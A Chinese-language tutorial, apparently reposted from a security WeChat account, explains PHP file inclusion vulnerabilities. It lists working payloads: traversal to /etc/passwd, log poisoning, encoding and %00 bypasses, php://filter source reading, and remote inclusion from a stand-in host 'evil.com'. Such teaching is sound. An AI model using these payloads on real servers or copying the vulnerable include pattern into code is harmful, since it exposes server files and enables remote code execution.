一、什么是文件包含漏洞?
文件包含漏洞是指,网站代码没有正确验证用户输入的文件路径,导致攻击者能够通过输入恶意的文件路径,让程序加载并执行服务器上的其他文件。这样,攻击者就有可能获取敏感信息、执行恶意代码,甚至控制服务器。
简单示例:
include("inc/" . $_GET['file']);
这段代码表示,程序会根据用户传入的file参数来决定包含哪个文件。如果用户输入了一个恶意的路径(比如指向服务器上敏感的文件),程序就会把这个文件包含进来,从而暴露出服务器上的信息。
二、常见的文件包含方式:
1. 同目录包含:
如果程序直接包含了当前目录下的文件。
攻击者可以通过传入类似file=.htaccess的参数来读取.htaccess等敏感文件。
2. 目录遍历:
攻击者通过特殊字符(../)来“跳出”当前目录,访问服务器上其他目录的文件。
例如:
传入?file=../../../../../etc/passwd,就可能读取到Linux系统上的/etc/passwd文件(其中存储了用户信息)。
3. 日志文件注入:
攻击者可以通过日志文件进行攻击,
传入file=../../../../../../../../../var/log/apache/error.log等路径,利用日志文件中的内容执行恶意代码。
4. 利用 /proc/self/environ:
在Linux系统中,/proc/self/environ存储了当前进程的环境变量,攻击者可以尝试读取这些敏感数据。
5. PHP中的常用包含函数:
include:如果文件不存在,PHP会显示警告,但继续执行后面的代码。
include_once:与include类似,但确保文件只被包含一次。
require:如果文件不存在,PHP会报错并停止执行后续代码。
require_once:与require类似,但确保文件只被包含一次。
三、绕过文件包含的常见技巧:
1. URL编码绕过:
如果程序使用简单的字符串匹配过滤文件路径,攻击者可以通过URL编码(将字符转换为%加数字的形式)来绕过检查。
例如:
%252e%252e%252f会被解码为../,从而实现目录遍历攻击。
file=%252e%252e%252f%252e%252e%252fetc%252fpasswd
2. 特殊字符绕过:
在文件路径中使用特殊字符(如*、?等通配符),或者利用URL中的#字符,攻击者可以影响路径的解析,绕过一些基本的检查。
3. %00(NUL字符)截断:
当PHP版本较低并且magic_quotes_gpc功能关闭时,攻击者可以在路径中插入%00来截断路径,从而绕过检查。
比如:
file=../../../../../../etc/passwd%00
%00代表的是“空字符”,它会截断文件路径,使得程序只加载路径前面的部分。
4. 路径长度限制绕过(Windows特有):
在Windows系统中,路径的最大长度限制为260个字符。
攻击者可以通过使用././././(多个点斜杠)来增加路径的长度,绕过路径长度限制。
file=././././etc/passwd
5. 伪协议绕过:
如果服务器允许远程文件包含(开启了allow_url_fopen和allow_url_include选项),攻击者可以通过伪协议(如http://、ftp://)加载远程文件。
比如:
file=http://evil.com/malicious_file.php
或者,使用php://input等流来包含数据:
file=php://input
6. Base64编码绕过:
攻击者可以利用php://filter来读取文件内容并进行Base64编码:
file=php://filter/convert.base64-encode/resource=index.php
7. 其他协议绕过:
除了http和ftp协议,攻击者还可以尝试使用其他协议(如SMB、WebDAV)绕过限制。
文件包含漏洞可能导致严重的安全问题,攻击者可以通过巧妙构造输入来读取服务器上的敏感文件、执行恶意代码或甚至完全控制服务器。
原文始发于微信公众号(信安一把索):web漏洞挖掘方法 - 文件包含篇
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论